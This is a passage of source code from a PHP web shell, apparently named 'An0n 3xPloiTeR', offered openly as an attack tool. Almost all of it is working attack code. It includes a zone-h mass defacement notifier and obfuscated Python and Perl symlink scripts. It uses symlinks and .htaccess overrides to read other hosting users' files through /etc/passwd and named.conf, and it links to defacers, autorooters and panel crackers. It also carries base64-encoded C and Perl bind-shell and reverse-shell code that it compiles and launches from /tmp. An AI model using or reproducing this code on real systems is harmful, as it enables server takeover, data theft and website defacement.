  2727. }
  2728. elseif($hackmode == "")
  2729. {
  2730. die("<center><b><font color =\"#FF0000\">You Must Select The Method</b></font></center>");
  2731. }
  2732. elseif($reason == "")
  2733. {
  2734. die("<center><b><font color =\"#FF0000\">You Must Select The Reason</b></font></center>");
  2735. }
  2736. elseif(empty($domains))
  2737. {
  2738. die("<center><b><font color =\"#FF0000\">You Must Enter The Sites List<font></b></center>");
  2739. }
  2740.  
  2741.  
  2742. for($i=0;$i<count($domains_list);$i++) {
  2743.  
  2744. if(substr($domains_list[$i], 0, 4) != "http")
  2745. {
  2746. $domains_list[$i] = "http://".$domains_list[$i];
  2747. }
  2748. $postVars=array("defacer"=>$defacer,"hackmode"=>$hackmode,"reason"=>$reason,"domain1"=>$domains_list[$i]);
  2749.  
  2750. $curl = curl_init();
  2751. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  2752. curl_setopt($curl,CURLOPT_URL,'http://www.zone-h.com/notify/single');
  2753. curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, FALSE);
  2754. curl_setopt($curl,CURLOPT_TIMEOUT, 120);
  2755. curl_setopt($curl,CURLOPT_POST,TRUE);
  2756. curl_setopt($curl,CURLOPT_POSTFIELDS, $postVars);
  2757. $a = curl_exec($curl);
  2758. curl_close($curl);
  2759. }
  2760. echo "<pre style=\"margin-top:5px\"><br><center><font color =\"#00A220\"><b>Sending Sites To Zone-H Has Been Completed Successfully !!!</b><br><br>Visit Your --> <a target='_blank' href='http://zone-h.org/archive/notifier=".$defacer."/published=0'>Zone-h</a> <--<font></center>";
  2761.  
  2762. printFooter(); exit;
  2763. }
  2764. function actionusescript() {
  2765. printHeader();
  2766. $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  2767. $expld = explode('/',$furl );
  2768. $burl =str_replace(end($expld),'',$furl);
  2769. echo '<div class="content"><center>
  2770. <h3>[ <a href="#" onclick="g(\'usescript\',null,\'python\',null)">Python Symlink</a> ] -
  2771. [ <a href="#" onclick="g(\'usescript\',null,\'perl\',null)">Perl Symlink<sup style="color:red;text-decoration:blink;"></sup></a> ] -
  2772. [ <a href="#" onclick="g(\'usescript\',null,\'an0nsym\',null)">An0n 3xPloiTeR (PhP)Symlink</a> ] -
  2773. [ <a href="#" onclick="g(\'usescript\',null,\'phpsym\',null)">Php Symlnik(Usr)</a> ] -
  2774. [ <a href="#" onclick="g(\'usescript\',null,\'phpsym1\',null)">Php Symlnik(Usr+Domain)</a> ]</h3><br></center>';
  2775. if(isset($_POST['p1']) && $_POST['p1']=='an0nsym'){
  2776. ?>
  2777.  
  2778. <center><span>Just Click On "Click To Make Symlink" To Start The Process</span><br><br></center>
  2779.  
  2780. <?php
  2781. global $php_symlinker;
  2782. $an0n_symlink = fopen("symlinker.php", "w");
  2783. @fwrite($an0n_symlink, htmlspecialchars_decode(gzinflate(base64_decode($php_symlinker))));
  2784. @fclose($an0n_symlink);
  2785. chmod("symlinker.php", 0755);
  2786. ?>
  2787. <center>
  2788. <iframe src="symlinker.php" width="100%" height="600"></iframe>
  2789. </center>
  2790. <?php
  2791. }
  2792.  
  2793.  
  2794. if(isset($_POST['p1']) && $_POST['p1']=='python')
  2795. {
  2796. $htsyma = "eJydVNtu2zgQfY4B/wPLRWo7caSkl31wJAPeBt0NsEULZN/qoqDEUcWGIgWSrq0+9Ns7Q1tyr4uifhCHw8O5nDn0H+nZqy7U1oxH45FqWusCC6qBYWP9YPruaDugC9Yn6AzQTHlptXXsGZ+Rvw6C5YyvzXOlgS1Ygo6yBO9ZmrJnDkQAye420VVttO4erA0fjyq6tNKavXKWjsCzG2sAD++6Ritzz/7qWoH+H11unTKBch7tT/zsz8th93UM9ujy6gkrOlavdi8dC+7y/cqcseNl9tXvroVSCc3+dgDhIwsWu3ohNk4FYZRgq4AN3oNjD9mHW3d/K78rIpLViHuQyvnpJLj3ZjeZRW9Zo+8L13jkN97lr9+goQLsovUF1dqwC2QSa07CLhwYJ+petkFZ49mtkbBD8p5bre0W+/4X+/Zrc6MclMG6LgLofluHRq/NSsr/uhYYhmPoa6PnH2GkxpZ6J7bUYBbbgpnyYaJ8zrfnVEOTbJENmNbRLrX1MJ31LCA69hUnnFHSZRZU0LD8lalk6R6blWACuGVWWYwZFZcXGolnXn2E/OmPgmVFj4+YJ8sXQgICvpk7wW4lCDr5n7neZCnFWvZL8dNiHmODosCieZx9T9wkhVCmVN1WTuYTFyWQ2wTfhCS6COggqZSRQmuE17aBdL09n8xtHHSFr2yH8mDKMLsYj05ok9MHY7SYH/pLGJ6in5CYEtFidjkl3DAUfsHPHqM0d6QyKtAnWvlAYuTpB+FSIxqQ/Jh2D8TE0YjJo5Xvl6EAnsgCdcFjdlLwkD7ihgIqNESoc0z8DmnZRgZUxXjabgqtyrcklJRTRsJRwoj/5nw8Au2hPyWFpf1BaTekmPwK47Y+32u31z1Jl2rEk4N2fTU0Wx04JvYodPT1/cemyHtSbXJCvr5cPH1De59H0LDHbhCS+wg+OWbiWUDpBMl86DTkpKGLSjRKd4tSaFU4dR19W1Dv6rAorJbXUWOLqLHr5anHVyF/L4QD+bsBlplgtYMq3//57JV26k89C8LhEPO3WB++wBheLGMKfjo9zGFOXO0/NKp55Go2i9z0ozqs51efAVOkH/Q=";
  2797.  
  2798. $lelwasym = gzuncompress(base64_decode($htsyma));
  2799. $fp122 = fopen('y.py','w');
  2800. $fw1111 = fwrite($fp122,$lelwasym);
  2801. @fclose($fw1111);
  2802. ?> <?php
  2803. $eaacho = system("python y.py"); echo "$eaacho"; echo "<center><iframe src='trjnx' height='400' class='lel' width='600'></iframe></center>";
  2804. @unlink ('y.py');
  2805. }
  2806. if(isset($_POST['p1']) && $_POST['p1']=='perl')
  2807.  
  2808. {
  2809. $plsym = "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";
  2810.  
  2811. $lelwasym = gzuncompress(base64_decode($plsym));
  2812. $fp1212 = fopen('sym.pl','w');
  2813. $fw11111 = fwrite($fp1212,$lelwasym);
  2814. @fclose($fw11111);
  2815. chmod("sym.pl",0755);
  2816. ?><br><center><iframe src="sym.pl" height="400" class="button" width="600"></iframe></center><?php }
  2817. if(isset($_POST['p1']) && $_POST['p1']=='phpsym')
  2818. {
  2819.  
  2820.  
  2821. error_reporting(0);
  2822. ob_start();
  2823.  
  2824. $dir = "sec1";
  2825. @mkdir($dir);
  2826. if($dir){
  2827. } else {
  2828. }
  2829. $dir2 = "sec2";
  2830. @mkdir($dir2);
  2831. if($dir2){
  2832. } else {
  2833. }
  2834. $dir3 = "sec3";
  2835. @mkdir($dir3);
  2836. if($dir3){
  2837. } else {
  2838. }
  2839. $dir4 = "sec4";
  2840. @mkdir($dir4);
  2841. if($dir4){
  2842. } else {
  2843. }
  2844. $dir5 = "sec5";
  2845. @mkdir($dir5);
  2846. if($dir5){
  2847. } else {
  2848. }
  2849. $dir6 = "sec6";
  2850. @mkdir($dir6);
  2851. if($dir6){
  2852. } else {
  2853. }
  2854. $dir7 = "sec7";
  2855. @mkdir($dir7);
  2856. if($dir7){
  2857. }
  2858. else {
  2859. }
  2860.  
  2861.  
  2862.  
  2863. $sec1 = "sec1/.htaccess";
  2864. $hsec1 = fopen($sec1, 'w') or die("Error: Can't open file");
  2865. $con1 = "Options Indexes FollowSymLinks
  2866. DirectoryIndex ssssss.htm
  2867. AddType txt .php
  2868. AddHandler txt .php
  2869. AddType txt .html
  2870. AddHandler txt .html
  2871. Options all
  2872. Options
  2873. Allow from all
  2874. Require None
  2875. Satisfy Any";
  2876. fwrite($hsec1, $con1);
  2877. fclose($hsec1);
  2878.  
  2879.  
  2880.  
  2881. $sec2 = "sec2/.htaccess";
  2882. $hsec2 = fopen($sec2, 'w') or die("Error: Can't open file");
  2883. $con2 = "Options +FollowSymLinks
  2884. DirectoryIndex seees.html
  2885. RemoveHandler .php
  2886. AddType application/octet-stream .php ";
  2887. fwrite($hsec2, $con2);
  2888. fclose($hsec2);
  2889.  
  2890.  
  2891. $sec3 = "sec3/.htaccess";
  2892. $hsec3 = fopen($sec3, 'w') or die("Error: Can't open file");
  2893. $con3 = "Options +FollowSymLinks
  2894. DirectoryIndex Index.html
  2895. Options +Indexes
  2896. AddType text/plain .php
  2897. AddHandler server-parsed .php";
  2898. fwrite($hsec3, $con3);
  2899. fclose($hsec3);
  2900.  
  2901. $sec4 = "sec4/.htaccess";
  2902. $hsec4 = fopen($sec4, 'w') or die("Error: Can't open file");
  2903. $con4 = "Options Indexes FollowSymLinks
  2904. DirectoryIndex ssssss.htm
  2905. AddType txt .php
  2906. AddHandler txt .php";
  2907. fwrite($hsec4, $con4);
  2908. fclose($hsec4);
  2909.  
  2910. $sec5 = "sec5/.htaccess";
  2911. $hsec5 = fopen($sec5, 'w') or die("Error: Can't open file");
  2912. $con5 = "Options all
  2913. DirectoryIndex Sux.html
  2914. AddType text/plain .php
  2915. AddHandler server-parsed .php
  2916. AddType text/plain .html";
  2917. fwrite($hsec5, $con5);
  2918. fclose($hsec5);
  2919.  
  2920.  
  2921. $sec6 = "sec6/.htaccess";
  2922. $hsec6 = fopen($sec6, 'w') or die("Error: Can't open file");
  2923. $con6 = "Options +FollowSymLinks
  2924. DirectoryIndex Sux.html
  2925. Options +Indexes
  2926. AddType text/plain .php
  2927. AddHandler server-parsed .php
  2928. AddType text/plain .html";
  2929. fwrite($hsec6, $con6);
  2930. fclose($hsec6);
  2931.  
  2932. $sec7 = "sec7/.htaccess";
  2933. $hsec7 = fopen($sec7, 'w') or die("Error: Can't open file");
  2934. $con7 = "Options Indexes FollowSymLinks
  2935. AddType text/plain .php .inc .asp .php3
  2936. Options All
  2937. Options All";
  2938. fwrite($hsec7, $con7);
  2939. fclose($hsec7);
  2940.  
  2941.  
  2942.  
  2943. for ($k=1;$k<8;$k++){
  2944. if("$fp$k"){
  2945. chdir('sec'.$k);
  2946. system('ln -s / 1.txt');
  2947. chdir('../');
  2948. }
  2949. else{ echo "Error";
  2950. }
  2951. }
  2952.  
  2953. echo "<center><table border='1' align='center' width='80%'><h3><td><a>User</td></a><td><a>Sym</a></td></h3></center>";
  2954. $file = file('/etc/passwd');
  2955. if(!$file)
  2956. {
  2957.  
  2958. die ("</br></br><center><h2><a>ERROR !</a></h2></center>");
  2959. }
  2960. else
  2961. {
  2962. foreach ($file as $f){
  2963.  
  2964. $u=explode(':', $f);
  2965. $user = $u['0'];
  2966. echo "<tr><td>".$user."</td><td><a href='sec1/1.txt/home/".$user."/public_html/' >Sym1</a>~<a href='sec2/1.txt/home/".$user."/public_html/' >Sym2</a>~<a href='sec3/1.txt/home/".$user."/public_html/' >Sym3</a>~<a href='sec4/1.txt/home/".$user."/public_html/' >Sym4</a>~<a href='sec5/1.txt/home/".$user."/public_html/' >Sym5</a>~<a href='sec6/1.txt/home/".$user."/public_html/' >Sym6</a>~<a href='sec7/1.txt/home/".$user."/public_html/' >Sym7</a></td></tr>";
  2967. }
  2968. }
  2969. }
  2970.  
  2971.  
  2972. if(isset($_POST['p1']) && $_POST['p1']=='phpsym1')
  2973. {
  2974.  
  2975.  
  2976. echo "<center><table border='1' align='center' width='80%'><h3><td><a>Domains</td></a><td><a>User</a></td><td><a>Sym</a></td></h3></center>";
  2977. if(!is_file('DATA.txt')){
  2978. $named = @file("/etc/named.conf");
  2979. }else{
  2980. $named = @file("DATA.txt");
  2981. }
  2982. if(!$named)
  2983. {
  2984.  
  2985. die ("</br></br><center><h2><a>ERROR !</a></h2></center>");
  2986. }
  2987. else
  2988. {
  2989. foreach($named as $dom){
  2990. preg_match_all('#zone "(.*)"#', $dom, $doms);
  2991. if(strlen(trim($doms[1][0])) > 2){
  2992. $user = posix_getpwuid(@fileowner("/etc/valiases/".$doms[1][0]));
  2993. echo "<tr><td><a href=http://www.".$doms[1][0]."/>".$doms[1][0]."</a></td><td><a>".$user['name']."</a></td><td><a href='sec1/1.txt/home/".$user['name']."/public_html/' >Sym1</a>~<a href='sec2/1.txt/home/".$user['name']."/public_html/' >Sym2</a>~<a href='sec3/1.txt/home/".$user['name']."/public_html/' >Sym3</a>~<a href='sec4/1.txt/home/".$user['name']."/public_html/' >Sym4</a>~<a href='sec5/1.txt/home/".$user['name']."/public_html/' >Sym5</a>~<a href='sec6/1.txt/home/".$user['name']."/public_html/' >Sym6</a>~<a href='sec7/1.txt/home/".$user['name']."/public_html/' >Sym7</a></td></tr>";
  2994. }
  2995. }
  2996. }
  2997. } printFooter();
  2998. }
  2999.  
  3000. function actionImportScripts() {
  3001. printHeader();
  3002. echo '<center><br><h1>Shells By An0n 3xPloiTeR</h1></center><div class="content">
  3003. <br>
  3004. <table border="1%" align="center" cellpadding="10">
  3005. <tr>
  3006. <td>Click And Get The Shells</td>
  3007. <tr><td>
  3008. <form action="" method="post">
  3009. <input type = "submit" name="dhanush" value ="Dhanush Shell">
  3010. </td></tr>
  3011. <tr><td>
  3012. <form action="" method="post">
  3013. <input type = "submit" name="anonghosts" value ="AnonGhosts Shell"></td></tr>
  3014. <tr><td>
  3015. <form action="" method="post">
  3016. <input type = "submit" name="blackhat" value ="BlackHat Shell"></td></tr>
  3017. <tr><td>
  3018. <form action="" method="post">
  3019. <input type = "submit" name="imageshell" value ="An0n 3xPloiTeR Image Shell"></td></tr>
  3020. <tr><td>
  3021. <form action="" method="post">
  3022. <input type = "submit" name="madspot" value ="Madspot Shell"></td></tr>
  3023. <tr><td>
  3024. <form action="" method="post">
  3025. <input type = "submit" name="pcd" value ="Pak Cyber Defenders Shell"></td></tr>
  3026. <tr><td>
  3027. <form action="" method="post">
  3028. <input type = "submit" name="cheta" value ="Kashimiri Cheetah Shell"></td></tr>
  3029. <tr><td>
  3030. <form action="" method="post">
  3031. <input type = "submit" name="1337worm" value ="1337 Worm Shell"></td></tr>
  3032. <tr><td>
  3033. <form action="" method="post">
  3034. <input type = "submit" name="b374k" value ="b374k Shell"></td></tr>
  3035. <tr><td>
  3036. <form action="" method="post">
  3037. <input type = "submit" name="joker" value ="Joker Shell"></td></tr></div>';
  3038.  
  3039.  
  3040.  
  3041.  
  3042.  
  3043.  
  3044. printFooter();
  3045. }
  3046.  
  3047. function actionImportTools () {
  3048. printHeader();
  3049. echo '<center><h1>Tools By An0n 3xPloiTeR</h1></center><div class="content">
  3050. <br>
  3051. <table border="1%" align="center" cellpadding="10">
  3052. <tr>
  3053. <td>Just Click And Get The Tools</td>
  3054. <tr><td>
  3055. <form action="" method="post">
  3056. <input type = "submit" name="symlinker" value ="An0n 3xPloiTeR Symlinker"></td></tr>
  3057. <tr><td>
  3058. <form action="" method="post">
  3059. <input type = "submit" name="mass" value ="Wordpress Mass Defacer"></td></tr>
  3060. <tr><td>
  3061. <form action="" method="post">
  3062. <input type = "submit" name="zone" value ="Zone-h Mass Notifier"></td></tr>
  3063. <tr><td>
  3064. <form action="" method="post">
  3065. <input type = "submit" name="anoncmd" value ="AnonGhosts Console"></td></tr>
  3066. <tr><td>
  3067. <form action="" method="post">
  3068. <input type = "submit" name="madleets" value ="Madleets Console"></td></tr>
  3069. <tr><td>
  3070. <form action="" method="post">
  3071. <input type = "submit" name="rooter" value ="Autorooting Perl Script"></td></tr>
  3072. <tr><td>
  3073. <form action="" method="post">
  3074. <input type = "submit" name="cpc" value ="Control Panel Cracker"></td></tr></div>';
  3075. printFooter();
  3076. }
  3077.  
  3078.  
  3079. function actionBackConnect() {
  3080. printHeader();
  3081. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
  3082. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  3083. $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
  3084. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  3085.  
  3086. echo '<center><h1>Network tools</h1></center><div class=content>
  3087. <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
  3088. <br /><span>Bind port to /bin/sh</span><br/>
  3089. Port: <input type=\'text\' name=\'port\' value=\'110\'> Password: <input type=\'text\' name=\'pass\' value=\'BHP\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
  3090. </form>
  3091. <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
  3092. <br /><br /><span>Back-connect to</span><br/>
  3093. Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'110\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
  3094. </form><br>';
  3095. if(isset($_POST['p1'])) {
  3096. function cf($f,$t) {
  3097. $w=@fopen($f,"w") or @function_exists('file_put_contents');
  3098. if($w) {
  3099. @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
  3100. @fclose($w);
  3101. }
  3102. }
  3103. if($_POST['p1'] == 'bpc') {
  3104. cf("/tmp/bp.c",$bind_port_c);
  3105. $out = ex("gcc -o /tmp/bp /tmp/bp.c");
  3106. @unlink("/tmp/bp.c");
  3107. $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
  3108. echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
  3109. }
  3110. if($_POST['p1'] == 'bpp') {
  3111. cf("/tmp/bp.pl",$bind_port_p);
  3112. $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
  3113. echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
  3114. }
  3115. if($_POST['p1'] == 'bcc') {
  3116. cf("/tmp/bc.c",$back_connect_c);
  3117. $out = ex("gcc -o /tmp/bc /tmp/bc.c");
  3118. @unlink("/tmp/bc.c");
  3119. $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
  3120. echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
  3121. }
  3122. if($_POST['p1'] == 'bcp') {
  3123. cf("/tmp/bc.pl",$back_connect_p);
  3124. $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
  3125. echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
  3126. }
  3127. }
  3128. echo '</div>';
  3129. printFooter();
  3130. }
  3131.  
  3132.  
  3133. function actionReadable() {
  3134. printHeader();
  3135. echo '<h1>Readable Dirs</h1>';
